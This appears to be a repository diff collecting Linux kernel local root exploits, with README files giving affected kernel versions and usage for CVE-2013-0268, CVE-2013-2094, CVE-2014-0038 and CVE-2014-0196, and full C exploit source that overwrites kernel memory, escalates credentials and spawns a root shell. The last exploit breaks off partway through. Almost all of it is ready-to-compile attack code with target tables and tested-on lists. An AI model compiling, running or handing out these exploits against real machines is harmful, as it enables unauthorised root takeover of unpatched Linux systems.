||||
CVE-2013-0268
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-0268](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0268)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/27297/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc msr.c -o msr
|
||||
$ ./msr
|
||||
```
|
|
@ -0,0 +1,29 @@
|
|||
# CVE-2013-2094
|
||||
|
||||
CVE-2013-2094
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-2094](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2094)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc vnik.c -O2 -o vnik
|
||||
|
||||
$ uname -r
|
||||
3.2.0-23-generic
|
||||
|
||||
$ ./vnik 0
|
||||
```
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 12.04.0 - Linux ubuntu 3.2.0-23-generic #36-Ubuntu x86_64
|
||||
- Ubuntu 12.04.1 - Linux ubuntu 3.2.0-29-generic #46-Ubuntu x86_64
|
||||
- Ubuntu 12.04.2 - Linux ubuntu 3.5.0-23-generic #35-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,282 @@
|
|||
/*
|
||||
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
|
||||
* by sorbo (sorbo@darkircop.org) June 2013
|
||||
*
|
||||
* Based on sd's exploit. Supports more targets.
|
||||
*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <linux/perf_event.h>
|
||||
#include <signal.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define BASE 0x380000000
|
||||
#define BASE_JUMP 0x1780000000
|
||||
#define SIZE 0x10000000
|
||||
#define KSIZE 0x2000000
|
||||
|
||||
#define TMP(x) (0xdeadbeef + (x))
|
||||
|
||||
struct idt {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed));
|
||||
|
||||
static int _fd;
|
||||
|
||||
static int perf_open(uint64_t off)
|
||||
{
|
||||
struct perf_event_attr attr;
|
||||
int rc;
|
||||
|
||||
// printf("perf open %lx [%d]\n", off, (int) off);
|
||||
|
||||
memset(&attr, 0, sizeof(attr));
|
||||
|
||||
attr.type = PERF_TYPE_SOFTWARE;
|
||||
attr.size = sizeof(attr);
|
||||
attr.config = off;
|
||||
attr.mmap = 1;
|
||||
attr.comm = 1;
|
||||
attr.exclude_kernel = 1;
|
||||
|
||||
rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
|
||||
|
||||
return rc;
|
||||
}
|
||||
|
||||
void __sc_start(void);
|
||||
void __sc_next(void);
|
||||
|
||||
void __sc(void)
|
||||
{
|
||||
asm("__sc_start:\n"
|
||||
"call __sc_next\n"
|
||||
"iretq\n"
|
||||
"__sc_next:\n");
|
||||
}
|
||||
|
||||
void sc(void)
|
||||
{
|
||||
int i, j;
|
||||
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
|
||||
uint64_t kbase = ((uint64_t)current) >> 36;
|
||||
int uid = TMP(1);
|
||||
int gid = TMP(2);
|
||||
|
||||
for (i = 0; i < 4000; i += 4) {
|
||||
uint64_t *p = (void *) ¤t[i];
|
||||
uint32_t *cred = (uint32_t*) p[0];
|
||||
|
||||
if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
|
||||
continue;
|
||||
|
||||
for (j = 0; j < 20; j++) {
|
||||
if (cred[j] == uid && cred[j + 1] == gid) {
|
||||
for (i = 0; i < 8; i++) {
|
||||
cred[j + i] = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
|
||||
{
|
||||
void *p;
|
||||
|
||||
p = memmem(sc, 900, &needle, sizeof(needle));
|
||||
if (!p)
|
||||
errx(1, "can't find %x", needle);
|
||||
|
||||
memcpy(p, &val, sizeof(val));
|
||||
}
|
||||
|
||||
static void *map_mem(uint64_t addr)
|
||||
{
|
||||
void *p;
|
||||
|
||||
p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
|
||||
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
|
||||
if (p == MAP_FAILED)
|
||||
err(1, "mmap()");
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
static int find_mem(void *mem, uint8_t c)
|
||||
{
|
||||
int i;
|
||||
uint8_t *p = mem;
|
||||
|
||||
for (i = 0; i < SIZE; i++) {
|
||||
if (p[i] == c)
|
||||
return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void dropshell()
|
||||
{
|
||||
if (setuid(0) != 0)
|
||||
errx(1, "failed");
|
||||
|
||||
printf("Launching shell\n");
|
||||
|
||||
execl("/bin/sh", "sh", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void morte(int x)
|
||||
{
|
||||
printf("Got signal\n");
|
||||
close(_fd);
|
||||
dropshell();
|
||||
}
|
||||
|
||||
static void trigger(int intr)
|
||||
{
|
||||
switch (intr) {
|
||||
case 0:
|
||||
do {
|
||||
int z = 1;
|
||||
int a = 1;
|
||||
|
||||
z--;
|
||||
|
||||
a /= z;
|
||||
} while (0);
|
||||
break;
|
||||
|
||||
case 4:
|
||||
asm("int $4");
|
||||
break;
|
||||
|
||||
case 0x80:
|
||||
asm("int $0x80");
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "unknown intr %d", intr);
|
||||
}
|
||||
|
||||
sleep(3);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
uint32_t *p[2];
|
||||
int fd, i;
|
||||
uint64_t off;
|
||||
uint64_t addr = BASE;
|
||||
struct idt idt;
|
||||
uint8_t *kbase;
|
||||
int sz = 4;
|
||||
int intr = 4;
|
||||
|
||||
printf("Searchin...\n");
|
||||
|
||||
p[0] = map_mem(BASE);
|
||||
p[1] = map_mem(BASE_JUMP);
|
||||
|
||||
memset(p[1], 0x69, SIZE);
|
||||
|
||||
off = 0xFFFFFFFFL;
|
||||
fd = perf_open(off);
|
||||
close(fd);
|
||||
|
||||
i = find_mem(p[0], 0xff);
|
||||
if (i == -1) {
|
||||
i = find_mem(p[1], 0x68);
|
||||
|
||||
if (i == -1)
|
||||
errx(1, "Can't find overwrite");
|
||||
|
||||
sz = 24;
|
||||
addr = BASE_JUMP;
|
||||
printf("detected CONFIG_JUMP_LABEL\n");
|
||||
}
|
||||
|
||||
munmap(p[0], SIZE);
|
||||
munmap(p[1], SIZE);
|
||||
|
||||
addr += i;
|
||||
addr -= off * sz;
|
||||
|
||||
printf("perf_swevent_enabled is at 0x%lx\n", addr);
|
||||
|
||||
asm("sidt %0" : "=m" (idt));
|
||||
|
||||
printf("IDT at 0x%lx\n", idt.addr);
|
||||
|
||||
off = addr - idt.addr;
|
||||
off -= 8;
|
||||
|
||||
switch (off % sz) {
|
||||
case 0:
|
||||
intr = 0;
|
||||
break;
|
||||
|
||||
case 8:
|
||||
intr = 0x80;
|
||||
break;
|
||||
|
||||
case 16:
|
||||
intr = 4;
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "remainder %d", off % sz);
|
||||
}
|
||||
|
||||
printf("Using interrupt %d\n", intr);
|
||||
|
||||
off -= 16 * intr;
|
||||
|
||||
assert((off % sz) == 0);
|
||||
|
||||
off /= sz;
|
||||
off = -off;
|
||||
|
||||
// printf("Offset %lx\n", off);
|
||||
|
||||
kbase = (uint8_t*) (idt.addr & 0xFF000000);
|
||||
|
||||
printf("Shellcode at %p\n", kbase);
|
||||
|
||||
if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
|
||||
err(1, "mmap()");
|
||||
|
||||
memset(kbase, 0x90, KSIZE);
|
||||
kbase += KSIZE - 1024;
|
||||
|
||||
i = __sc_next - __sc_start;
|
||||
memcpy(kbase, __sc_start, i);
|
||||
kbase += i;
|
||||
memcpy(kbase, sc, 900);
|
||||
|
||||
sc_replace(kbase, TMP(1), getuid());
|
||||
sc_replace(kbase, TMP(2), getgid());
|
||||
|
||||
signal(SIGALRM, morte);
|
||||
alarm(2);
|
||||
|
||||
printf("Triggering sploit\n");
|
||||
_fd = perf_open(off);
|
||||
|
||||
trigger(intr);
|
||||
|
||||
exit(0);
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,133 @@
|
|||
/**
|
||||
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
|
||||
* by Vitaly Nikolenko (vnik5287@gmail.com)
|
||||
*
|
||||
* based on semtex.c by sd
|
||||
*
|
||||
* Supported targets:
|
||||
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
|
||||
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
|
||||
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
|
||||
*
|
||||
* $ gcc vnik.c -O2 -o vnik
|
||||
*
|
||||
* $ uname -r
|
||||
* 3.2.0-23-generic
|
||||
*
|
||||
* $ ./vnik 0
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE 1
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <syscall.h>
|
||||
#include <stdint.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define BASE 0x1780000000
|
||||
#define SIZE 0x0010000000
|
||||
#define KSIZE 0x2000000
|
||||
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
|
||||
|
||||
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
uint64_t targets[3][3] =
|
||||
{{0xffffffff81ef67e0, // perf_swevent_enabled
|
||||
0xffffffff81091630, // commit_creds
|
||||
0xffffffff810918e0}, // prepare_kernel_cred
|
||||
{0xffffffff81ef67a0,
|
||||
0xffffffff81091220,
|
||||
0xffffffff810914d0},
|
||||
{0xffffffff81ef5940,
|
||||
0xffffffff8107ee30,
|
||||
0xffffffff8107f0c0}
|
||||
};
|
||||
|
||||
void __attribute__((regparm(3))) payload() {
|
||||
uint32_t *fixptr = (void*)AB(1);
|
||||
// restore the handler
|
||||
*fixptr = -1;
|
||||
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
|
||||
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
|
||||
commit_creds(prepare_kernel_cred((uint64_t)NULL));
|
||||
}
|
||||
|
||||
void trigger(uint32_t off) {
|
||||
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
|
||||
int fd = syscall(298, buf, 0, -1, -1, 0);
|
||||
assert( !close(fd) );
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint64_t off64, needle, kbase, *p;
|
||||
uint8_t *code;
|
||||
uint32_t int_n, j = 5, target = 1337;
|
||||
int offset = 0;
|
||||
void *map;
|
||||
|
||||
assert(argc == 2 && "target?");
|
||||
assert( (target = atoi(argv[1])) < 3 );
|
||||
|
||||
struct {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed)) idt;
|
||||
|
||||
// mmap user-space block so we don't page fault
|
||||
// on sw_perf_event_destroy
|
||||
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
|
||||
memset(map, 0, SIZE);
|
||||
|
||||
asm volatile("sidt %0" : "=m" (idt));
|
||||
kbase = idt.addr & 0xff000000;
|
||||
printf("IDT addr = 0x%lx\n", idt.addr);
|
||||
|
||||
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
|
||||
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
|
||||
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
|
||||
|
||||
// can only play with interrupts 3, 4 and 0x80
|
||||
for (int_n = 3; int_n <= 0x80; int_n++) {
|
||||
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
|
||||
int off32 = off64;
|
||||
|
||||
if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
|
||||
offset = off32;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
if (int_n == 4) {
|
||||
// shit, let's try 0x80 if the kernel is compiled with
|
||||
// CONFIG_IA32_EMULATION
|
||||
int_n = 0x80 - 1;
|
||||
}
|
||||
}
|
||||
out:
|
||||
assert(offset);
|
||||
printf("Using int = %d with offset = %d\n", int_n, offset);
|
||||
|
||||
for (j = 0; j < 3; j++) {
|
||||
needle = AB(j+1);
|
||||
assert(p = memmem(code, 1024, &needle, 8));
|
||||
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
|
||||
}
|
||||
trigger(offset);
|
||||
switch (int_n) {
|
||||
case 3:
|
||||
asm volatile("int $0x03");
|
||||
break;
|
||||
case 4:
|
||||
asm volatile("int $0x04");
|
||||
break;
|
||||
case 0x80:
|
||||
asm volatile("int $0x80");
|
||||
}
|
||||
|
||||
assert(!setuid(0));
|
||||
return execl("/bin/bash", "-sh", NULL);
|
||||
}
|
|
@ -0,0 +1,199 @@
|
|||
/*
|
||||
* Local root exploit for CVE-2014-0038.
|
||||
*
|
||||
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
|
||||
*
|
||||
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
|
||||
* passed from userspace.
|
||||
*
|
||||
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
|
||||
* if the original byte at that address is known it can be overwritten
|
||||
* with known data.
|
||||
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
|
||||
*
|
||||
* Restrictions: The first long at the passed address (tv_sec) has to be positive
|
||||
* and the second long (tv_nsec) has to be smaller than 1000000000.
|
||||
*
|
||||
* Overview: Target the release function pointer of the ptmx_fops structure located in
|
||||
* non initialized (and thus writable) kernel memory. Zero out the three most
|
||||
* significant bytes and thus turn it into a pointer to an address mappable in
|
||||
* user space.
|
||||
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
|
||||
* is valid).
|
||||
* Open /dev/ptmx, close it and enjoy.
|
||||
*
|
||||
* Not very beautiful but should be fairly reliable if symbols can be resolved.
|
||||
*
|
||||
* Tested on Ubuntu 13.10
|
||||
*
|
||||
* gcc timeoutpwn.c -o pwn && ./pwn
|
||||
*
|
||||
* Written by saelo
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
|
||||
#define BUFSIZE 200
|
||||
#define PAYLOADSIZE 0x2000
|
||||
#define FOPS_RELEASE_OFFSET 13*8
|
||||
|
||||
/*
|
||||
* Adapt these addresses for your need.
|
||||
* see /boot/System.map* or /proc/kallsyms
|
||||
* These are the offsets from ubuntu 3.11.0-12-generic.
|
||||
*/
|
||||
#define PTMX_FOPS 0xffffffff81fb30c0LL
|
||||
#define TTY_RELEASE 0xffffffff8142fec0LL
|
||||
#define COMMIT_CREDS 0xffffffff8108ad40LL
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
/*
|
||||
* Match signature of int release(struct inode*, struct file*).
|
||||
*
|
||||
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
|
||||
*/
|
||||
int __attribute__((regparm(3)))
|
||||
kernel_payload(void* foo, void* bar)
|
||||
{
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Write a zero to the byte at then given address.
|
||||
* Only works if the current value is 0xff.
|
||||
*/
|
||||
void zero_out(long addr)
|
||||
{
|
||||
int sockfd, retval, port, pid, i;
|
||||
struct sockaddr_in sa;
|
||||
char buf[BUFSIZE];
|
||||
struct mmsghdr msgs;
|
||||
struct iovec iovecs;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
port = 1024 + (rand() % (0x10000 - 1024));
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&msgs, 0, sizeof(msgs));
|
||||
iovecs.iov_base = buf;
|
||||
iovecs.iov_len = BUFSIZE;
|
||||
msgs.msg_hdr.msg_iov = &iovecs;
|
||||
msgs.msg_hdr.msg_iovlen = 1;
|
||||
|
||||
/*
|
||||
* start a seperate process to send a udp message after 255 seconds so the syscall returns,
|
||||
* but not after updating the timout struct and writing the remaining time into it.
|
||||
* 0xff - 255 seconds = 0x00
|
||||
*/
|
||||
printf("clearing byte at 0x%lx\n", addr);
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
memset(buf, 0x41, BUFSIZE);
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
|
||||
perror("socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
printf("waiting 255 seconds...\n");
|
||||
for (i = 0; i < 255; i++) {
|
||||
if (i % 10 == 0)
|
||||
printf("%is/255s\n", i);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
printf("waking up parent...\n");
|
||||
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
|
||||
exit(EXIT_SUCCESS);
|
||||
} else if (pid > 0) {
|
||||
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
|
||||
if (retval == -1) {
|
||||
printf("address can't be written to, not a valid timespec struct\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
waitpid(pid, 0, 0);
|
||||
printf("byte zeroed out\n");
|
||||
} else {
|
||||
perror("fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
long code, target;
|
||||
int pwn;
|
||||
|
||||
/* Prepare payload... */
|
||||
printf("preparing payload buffer...\n");
|
||||
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
|
||||
memset((void*)code, 0x90, PAYLOADSIZE);
|
||||
code += PAYLOADSIZE - 1024;
|
||||
memcpy((void*)code, &kernel_payload, 1024);
|
||||
|
||||
/*
|
||||
* Now clear the three most significant bytes of the fops pointer
|
||||
* to the release function.
|
||||
* This will make it point into the memory region mapped above.
|
||||
*/
|
||||
printf("changing kernel pointer to point into controlled buffer...\n");
|
||||
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
|
||||
zero_out(target + 7);
|
||||
zero_out(target + 6);
|
||||
zero_out(target + 5);
|
||||
|
||||
/* ... and trigger. */
|
||||
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
|
||||
pwn = open("/dev/ptmx", 'r');
|
||||
close(pwn);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("failed to get root :(\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got root, enjoy :)\n");
|
||||
return execl("/bin/bash", "-sh", NULL);
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
# CVE-2014-0038
|
||||
|
||||
CVE-2014-0038
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-0038](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0038)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/31347/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/31346/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc timeoutpwn.c -o pwn && ./pwn
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 13.10 - Linux ubuntu 3.11.0-12-generic #19-Ubuntu x86_64
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,22 @@
|
|||
# CVE-2014-0196
|
||||
|
||||
CVE-2014-0196
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-0196](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0196)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/33516/)
|
||||
## Kernels
|
||||
```
|
||||
2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc cve-2014-0196-md.c -lutil -lpthread
|
||||
$ ./a.out
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [cve-2014-0196-md.c](https://dl.packetstormsecurity.net/1405-exploits/cve-2014-0196-md.c)
|
||||
|
|
@ -0,0 +1,222 @@
|
|||
/*
|
||||
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
|
||||
* condition
|
||||
*
|
||||
* Slightly-less-than-POC privilege escalation exploit
|
||||
* For kernels >= v3.14-rc1
|
||||
*
|
||||
* Matthew Daley <mattd@bugfuzz.com>
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc cve-2014-0196-md.c -lutil -lpthread
|
||||
* $ ./a.out
|
||||
* [+] Resolving symbols
|
||||
* [+] Resolved commit_creds: 0xffffffff81056694
|
||||
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
|
||||
* [+] Doing once-off allocations
|
||||
* [+] Attempting to overflow into a tty_struct...............
|
||||
* [+] Got it :)
|
||||
* # id
|
||||
* uid=0(root) gid=0(root) groups=0(root)
|
||||
*
|
||||
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
|
||||
* chance that the overflow will go off the end of a slab. This does not
|
||||
* necessarily lead to an immediate kernel crash, but you should be prepared
|
||||
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
|
||||
* avoidable by reading /proc/slabinfo on systems where it is still available
|
||||
* to unprivileged users.
|
||||
*
|
||||
* Caveat: The vulnerability should be exploitable all the way from
|
||||
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
|
||||
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
|
||||
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
|
||||
* exploit relies on.
|
||||
*
|
||||
* Thanks to Jon Oberheide for his help on exploitation technique.
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <pty.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define TTY_MAGIC 0x5401
|
||||
|
||||
#define ONEOFF_ALLOCS 200
|
||||
#define RUN_ALLOCS 30
|
||||
|
||||
struct device;
|
||||
struct tty_driver;
|
||||
struct tty_operations;
|
||||
|
||||
typedef struct {
|
||||
int counter;
|
||||
} atomic_t;
|
||||
|
||||
struct kref {
|
||||
atomic_t refcount;
|
||||
};
|
||||
|
||||
struct tty_struct_header {
|
||||
int magic;
|
||||
struct kref kref;
|
||||
struct device *dev;
|
||||
struct tty_driver *driver;
|
||||
const struct tty_operations *ops;
|
||||
} overwrite;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
int master_fd, slave_fd;
|
||||
char buf[1024] = {0};
|
||||
commit_creds_fn commit_creds;
|
||||
prepare_kernel_cred_fn prepare_kernel_cred;
|
||||
|
||||
int payload(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_symbol(char *target_name) {
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char name[256];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", name);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!strcmp(name, target_name)) {
|
||||
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
|
||||
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] Couldn't resolve \"%s\"\n", name);
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *overwrite_thread_fn(void *p) {
|
||||
write(slave_fd, buf, 511);
|
||||
|
||||
write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
|
||||
write(slave_fd, &overwrite, sizeof(overwrite));
|
||||
}
|
||||
|
||||
int main() {
|
||||
char scratch[1024] = {0};
|
||||
void *tty_operations[64];
|
||||
int i, temp_fd_1, temp_fd_2;
|
||||
|
||||
for (i = 0; i < 64; ++i)
|
||||
tty_operations[i] = payload;
|
||||
|
||||
overwrite.magic = TTY_MAGIC;
|
||||
overwrite.kref.refcount.counter = 0x1337;
|
||||
overwrite.dev = (struct device *)scratch;
|
||||
overwrite.driver = (struct tty_driver *)scratch;
|
||||
overwrite.ops = (struct tty_operations *)tty_operations;
|
||||
|
||||
puts("[+] Resolving symbols");
|
||||
|
||||
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
|
||||
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
|
||||
if (!commit_creds || !prepare_kernel_cred)
|
||||
return 1;
|
||||
|
||||
puts("[+] Doing once-off allocations");
|
||||
|
||||
for (i = 0; i < ONEOFF_ALLOCS; ++i)
|
||||
if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
|
||||
puts("[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] Attempting to overflow into a tty_struct...");
|
||||
fflush(stdout);
|
||||
|
||||
for (i = 0; ; ++i) {
|
||||
struct termios t;
|
||||
int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
|
||||
pthread_t overwrite_thread;
|
||||
|
||||
